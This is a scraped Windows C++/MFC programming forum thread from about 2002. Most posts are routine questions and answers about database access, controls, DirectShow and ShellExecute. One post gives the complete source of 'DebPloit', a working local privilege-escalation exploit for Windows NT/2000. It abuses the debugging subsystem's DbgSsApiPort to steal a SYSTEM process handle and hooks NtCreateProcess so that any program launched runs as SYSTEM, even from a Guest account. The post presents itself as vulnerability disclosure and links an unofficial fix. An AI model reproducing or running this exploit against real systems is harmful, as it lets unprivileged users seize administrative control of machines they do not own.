|
Yes, you would have to go through that cycle.
Have a look at MFC'c CSocket, or wrap up the code in your own class
to make this easier.
Regards,
Bob.
|
|
|
|
|
I see. Thank you Bob. Have a nice day!
|
|
|
|
|
Hi
I've just started to build an lyric application that can query and update the "lyric" database. I'm using the object-oriented approach for this. However i'm having some difficult to interact with the database(just say an access file). Which header file should i include? Are these header available in the standard STL library or in the MFC ? Or if there are not, how do i get those.
Thanks in advace
Cheers.
|
|
|
|
|
STL is a standard library, it does not cover database access. MFC has a umber of ways to access a database, such as ODBC. The best bet is ADO, which is a COM object. Look up ADO on msdn.microsoft.com for more info.
Christian
The tragedy of cyberspace - that so much can travel so far, and yet mean so little.
"I'm somewhat suspicious of STL though. My (test,experimental) program worked first time. Whats that all about??!?!
- Jon Hulatt, 22/3/2002
|
|
|
|
|
Cool! I did do a search on ADO in my MSDN library and i have found huge useful articles about the above issue.
Thank Chris for your help!
|
|
|
|
|
Howdy,
I can create a CEdit with the appropriate style and align text how i want it (ES_LEFT, ES_CENTER, ES_RIGHT). However, I want to then be able to modify the alignment. I tried using ModifyStyle() to do this but it doesnt seem to work.
Any suggestions?
Thanks,
Alex
|
|
|
|
|
Hi!
I am struck at this for a while now. Hopefully sombody will be able to help me.
I have a custom drawn tree ctrl, where I have increased the height of just one item. The vertical scroll bar however does not recognize this increase in height and doesn't scroll properly. I have tried SetScrollRange(), SetScrollInfo() to change the max limit and position of the scroll, but to no effect. I might not have used these functions correctly.
Can anybody please tell me how I can change the scroll pos and range of the vertical scroll bar?
Thanks,
NC
|
|
|
|
|
When I use ICaptureGraphBuilder2::FindInterface() method
to find a specific filter (say IAMVideoCompression).It
give two messageboxes that "Please wait until preroll is
completed!" and ASSERT Failed ((HRESULT)BreakConnect())
>=0) At line 2005
of ..\DXSDK\Samples\Multimedia\DirectShow\BaseClasses\amfi
lter.cpp),but my sourcefilter doesn't need preroll and i
had not add any prerolling filter to the graph.The
reprentative code like :
IAMVideoCompression *pVC=NULL;
if(FAILED(m_pCapture->FindInterface
(&PIN_CATEGORY_CAPTURE,&MEDIATYPE_Video,m_pSF7146,IID_IAMV
ideoCompression,(void**)&pVC)))
{
return S_FALSE;
}
My work environment is DirectX8.1SDK + VC++6.0 + WinXP.
Please help me to release these errors to get my work
continue,thank you advaced!
Scratch
|
|
|
|
|
How to get sytem color: window text color, window bkcolor...
I'm amumu, and you?
|
|
|
|
|
run help index
start to type
getsys
you will see GetSysColor()
t!
|
|
|
|
|
Thankyou 
I'm amumu, and you?
|
|
|
|
|
how can get the CPU unique id?
Thanks
|
|
|
|
|
Try GetSystemInfo().
Scratch
|
|
|
|
|
|
I'm trying to use:
ShellExecute(hwnd, NULL, "C:\\Program\\MyApp.EXE", NULL, NULL, SW_SHOW);
to launch a program after a button is clicked on the dialog box but I keep getting the error Undeclared identifier on hwnd, could someone please please help me.
Clara
|
|
|
|
|
you should try to use NULL or this->HWnd instead of hwnd which is not defined
|
|
|
|
|
Undeclared Identifier means exactly what it says... "hwnd" has not been declared. I suspect that either your forgot to have a line like this somewhere:
HANDLE hwnd;
or, you've declared it but are using the wrong case. Remember, hWnd is different to hwnd in C/C++.
If you're using MFC, then it's probably appropriate to call ShellExecute like this:
ShellExecute(this->m_hWnd, NULL, "C:\\Program\\MyApp.EXE", NULL, NULL, SW_SHOW);
Jon
Sorry to dissapoint you all with my lack of a witty or poignant signature.
|
|
|
|
|
the 'hwnd' parameter is that window that calls this function, or to say: Owns it!
You can decide which window that will own it. Pass your parent window to that.
Understand? Perhaps not, because my explanations in English doesn't have such good quality!
------------------------------------
Rickard Andersson, Suza Computing
ICQ#: 50302279
I'm from the winter country SWEDEN!
------------------------------------
|
|
|
|
|
GetHtmlDocument() returns NULL when I call it from OnInitialUpdate() in my CHtmlView derived class.
But later when I call it from a menu command handler function it works fine.
Why is this? Is this intended behaviour?
Nish
If I am awake and my eyes are closed, it does not necessarily mean that I am thinking of naked women.
|
|
|
|
|
Nish [BusterBoy] wrote:
GetHtmlDocument() returns NULL when I call it from OnInitialUpdate()
Yes, that's how it works. At the time you reach OnInitialUpdate(), there is yet no document loaded into the web browser control. Your document will have been loaded in OnNavigateComplete2(). If you want to interact fully with the document, you should wait until the documents COM-object structure is comlete, after which OnDocumentComplete() is called.
|
|
|
|
|
Thanks again.
I overcame this issue by navigating to about:blank in my OnInitialUpdate(...) before I try to populate the control
Nish
If I am awake and my eyes are closed, it does not necessarily mean that I am thinking of naked women.
|
|
|
|
|
Hello,
I hope everybody heard about the new vulnerability called DebPloit in Windows NT and Windows 2000. I've written small example that shows how you can obtain administrative privileges when your code is running under non-privileged account.
// debploit.cpp (Windows NT/2000)
//
// This program creates a process in the security context of the SYSTEM user.
// It uses a security hole in the Windows NT/2000 debugging subsystem
// originally discovered by Radim "EliCZ" Picha (March 9, 2002).
//
// You can have any privileges (you can be even Guest!) to execute this program
// and become an administrator of the local system.
//
// More information about this security hole can be found at http://www.anticracking.sk/EliCZ
// Microsoft was informed but still didn't release any hotfix (April 6, 2002).
// There is an unofficial hotfix that closes this security hole, you can download it from
// http://www.protect-me.com/freeware.html
//
//
// To link this program, you should have NTDLL.LIB from the DDK.
//
// (c) 2002 Ashot Oganesyan (ashot@protect-me.com)
// (c) 2002 SmartLine, Inc. (http://www.protect-me.com)
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
typedef LONG NTSTATUS;
#define NTAPI __stdcall
#define NT_SUCCESS(Status) ((LONG)(Status) >= 0)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define DBG_SS_API_PORT_NAME L"\\DbgSsApiPort"
#define SS_CREATE_PROCESS_REQUEST 2
#define MAX_DBG_SS_CP_LPC_MESSAGE_SIZE 0x80
#define DBG_SS_CP_LPC_DATA_SIZE 0x38
#pragma pack(1)
typedef struct _ASMJUMP
{
BYTE mov_eax;
LPVOID address;
WORD jump_eax;
} ASMJUMP, *PASMJUMP;
#pragma pack()
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef struct _PORT_MESSAGE {
USHORT DataSize;
USHORT MessageSize;
USHORT MessageType;
USHORT VirtualRangesOffset;
CLIENT_ID CallerId;
ULONG MessageId;
ULONG SectionSize;
ULONG DebugEventCode;
ULONG Status;
CLIENT_ID DebuggeeId;
PVOID DbgSsKmMsg;
CLIENT_ID DebuggerId;
DWORD Unknown;
HANDLE hFile;
LPVOID ImageBase;
ULONG DebugInfoFileOffset;
ULONG DebugInfoSize;
LPVOID ThreadLocalBase;
LPTHREAD_START_ROUTINE ThreadStartAddress;
LPVOID ImageName;
USHORT Unicode;
USHORT wImageName[(MAX_DBG_SS_CP_LPC_MESSAGE_SIZE - 0x56) / sizeof(USHORT)];
} PORT_MESSAGE, *PPORT_MESSAGE;
typedef struct _PORT_SECTION_WRITE {
ULONG Length;
HANDLE SectionHandle;
ULONG SectionOffset;
ULONG ViewSize;
PVOID ViewBase;
PVOID TargetViewBase;
} PORT_SECTION_WRITE, *PPORT_SECTION_WRITE;
typedef struct _PORT_SECTION_READ {
ULONG Length;
ULONG ViewSize;
ULONG ViewBase;
} PORT_SECTION_READ, *PPORT_SECTION_READ;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
#ifdef __cplusplus
extern "C" {
#endif
NTSYSAPI
VOID
NTAPI
RtlInitUnicodeString (
OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
NTSYSAPI
NTSTATUS
NTAPI
NtConnectPort(
OUT PHANDLE PortHandle,
IN PUNICODE_STRING PortName,
IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,
IN OUT PPORT_SECTION_WRITE WriteSection OPTIONAL,
IN OUT PPORT_SECTION_READ ReadSection OPTIONAL,
OUT PULONG MaxMessageSize OPTIONAL,
IN OUT PVOID ConnectData OPTIONAL,
IN OUT PULONG ConnectDataLength OPTIONAL
);
NTSYSAPI
NTSTATUS
NTAPI
DbgUiConnectToDbg(VOID);
NTSYSAPI
NTSTATUS
NTAPI
NtRequestPort(
IN HANDLE PortHandle,
IN PPORT_MESSAGE RequestMessage
);
NTSYSAPI
NTSTATUS
NTAPI
NtClose(
IN HANDLE hObject
);
NTSYSAPI
ULONG
NTAPI
RtlNtStatusToDosError(
NTSTATUS status
);
#ifdef __cplusplus
}
#endif
HANDLE g_hParentProc;
DWORD g_dwFunc;
// Hooked NtCreateProcess
void __declspec(naked)HookedNtCreateProcess()
{
_asm
{
mov eax,g_hParentProc // change parent's process handle
mov dword ptr [esp + 16],eax
mov eax,g_dwFunc // value depends on OS version
lea edx,dword ptr [esp + 4]
int 2Eh
retn 20h
}
}
HANDLE StealProcessHandle(DWORD dwPid)
{
HANDLE hProcess = NULL,
hDbgSsApiPort = NULL;
SECURITY_QUALITY_OF_SERVICE Qos;
UNICODE_STRING usDbgSsApiPort;
PORT_MESSAGE PortMessage;
DEBUG_EVENT DebugEvent;
NTSTATUS Status = STATUS_SUCCESS;
Qos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
Qos.ImpersonationLevel = SecurityImpersonation;
Qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;
Qos.EffectiveOnly = TRUE;
RtlInitUnicodeString(&usDbgSsApiPort,DBG_SS_API_PORT_NAME);
// Connect to DbgSsApiPort
Status = NtConnectPort(&hDbgSsApiPort,&usDbgSsApiPort,&Qos,NULL,NULL,NULL,NULL,NULL);
if (!NT_SUCCESS(Status))
goto cleanup;
Status = DbgUiConnectToDbg();
if (!NT_SUCCESS(Status))
goto cleanup;
ZeroMemory(&PortMessage,sizeof(PORT_MESSAGE));
PortMessage.DataSize = DBG_SS_CP_LPC_DATA_SIZE;
PortMessage.MessageSize = sizeof(PORT_MESSAGE);
PortMessage.DebugEventCode = SS_CREATE_PROCESS_REQUEST;
PortMessage.DebuggeeId.UniqueProcess = (HANDLE)dwPid;
PortMessage.DebuggerId.UniqueProcess = (HANDLE)GetCurrentProcessId();
PortMessage.DebuggerId.UniqueThread = (HANDLE)GetCurrentThreadId();
Status = NtRequestPort(hDbgSsApiPort,&PortMessage);
if (!NT_SUCCESS(Status))
goto cleanup;
if (WaitForDebugEvent(&DebugEvent,1000) == FALSE)
goto cleanup;
if(DebugEvent.dwDebugEventCode != CREATE_PROCESS_DEBUG_EVENT || DebugEvent.u.CreateProcessInfo.hProcess == NULL)
goto cleanup;
// Duplicate the handle to get full access to it
DuplicateHandle(DebugEvent.u.CreateProcessInfo.hProcess,GetCurrentProcess(),GetCurrentProcess(),&hProcess,0,FALSE,DUPLICATE_SAME_ACCESS);
CloseHandle(DebugEvent.u.CreateProcessInfo.hProcess);
cleanup:
if (hDbgSsApiPort)
NtClose(hDbgSsApiPort);
if (!NT_SUCCESS(Status))
SetLastError(RtlNtStatusToDosError(Status));
return hProcess;
}
int _tmain(int argc, TCHAR* argv[])
{
UINT ProcessId;
OSVERSIONINFO VersionInfo;
DWORD dw;
MEMORY_BASIC_INFORMATION mbi;
PROCESS_INFORMATION pi;
STARTUPINFO si;
PASMJUMP NtCreateProcessHook;
LPTSTR lpProgramToExecute;
BOOL bWaitForParent = FALSE;
// Get OS version
VersionInfo.dwOSVersionInfoSize = sizeof(VersionInfo);
GetVersionEx(&VersionInfo);
// DebPloit works only on NT/W2K
if ( !(VersionInfo.dwPlatformId & VER_PLATFORM_WIN32_NT) || (VersionInfo.dwMajorVersion == 5 && VersionInfo.dwMinorVersion != 0) )
{
printf(TEXT("This program works only on Windows NT/2000\n"));
return -1;
}
if (argc < 2)
{
printf("\nUsage:\n\t DebPloit.exe [Parent PID] <Command Line>\n\n");
printf("Parent PID - parent process (if not specified - system process will be used)\n");
printf("Command Line - program to execute in the security context of Parent PID\n\n");
printf("Example:\n\t DebPloit.exe cmd\n");
printf("\t DebPloit.exe 123 cmd\n");
return -1;
}
// Get PID of the system process and the NtCreateProcess's number
switch(VersionInfo.dwMajorVersion)
{
case 3: // NT 3.51
ProcessId = 0x02;
g_dwFunc = 0x1E;
break;
case 4: // NT 4.0
ProcessId = 0x02;
g_dwFunc = 0x1F;
break;
case 5: // W2K
ProcessId = 0x08;
g_dwFunc = 0x29; // 0x2A - for W2K beta;
break;
}
if (argc > 2)
{
_stscanf(argv[1],TEXT("%lu"),&dw);
if (dw == 0)
{
printf("Invalid Parent PID specified!\n");
return -1;
}
lpProgramToExecute = argv[2];
if (dw != ProcessId)
bWaitForParent = TRUE;
ProcessId = dw;
}
else
lpProgramToExecute = argv[1];
// Get a pointer to NtCreateProcess
NtCreateProcessHook = (PASMJUMP)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")),"NtCreateProcess");
if (NtCreateProcessHook == NULL)
{
printf("GetProcAddress failed - %lu\n",GetLastError());
return -1;
}
// Enable write acess to NtCreateProcess in our own address space
VirtualQuery(NtCreateProcessHook,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
VirtualProtect(mbi.AllocationBase,mbi.RegionSize,PAGE_EXECUTE_READWRITE,&dw);
// Redirect call to HookedNtCreateProcess:
//
// mov eax,HookedNtCreateProcess
// jmp eax
NtCreateProcessHook->mov_eax = 0xB8;
NtCreateProcessHook->address = HookedNtCreateProcess;
NtCreateProcessHook->jump_eax = 0xE0FF;
// Get a handle of the specified process
g_hParentProc = StealProcessHandle(ProcessId);
if (g_hParentProc == NULL)
{
printf("StealProcessHandle failed - %lu\n",GetLastError());
return -1;
}
ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
ZeroMemory(&si,sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
// Call modified CreateProcess (HookedNtCreateProcess will be called!)
if (CreateProcess(NULL,lpProgramToExecute,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
else
printf("CreateProcess failed - %lu\n",GetLastError());
// We must wait until the parent process terminates (if it's not a system process)
if (bWaitForParent)
{
FreeConsole();
WaitForSingleObject(g_hParentProc,INFINITE);
}
CloseHandle(g_hParentProc);
return 0;
}
You can also download full package from http://www.smartline.ru/software/DebPloitFix.zip
|
|
|
|
|
Hi
as far as i'm concerned, Microsoft has not release any patch to fix this security hole or did it???
|
|
|
|
|
No, he totally ignores this problem.
|
|
|
|
|
Just like the system popup.
I'm amumu, and you?
|
|
|
|
|
General 
News 
Suggestion 
Question 
Bug 
Answer 
Joke 
Praise 
Rant 
Admin 
Submit an article or tip
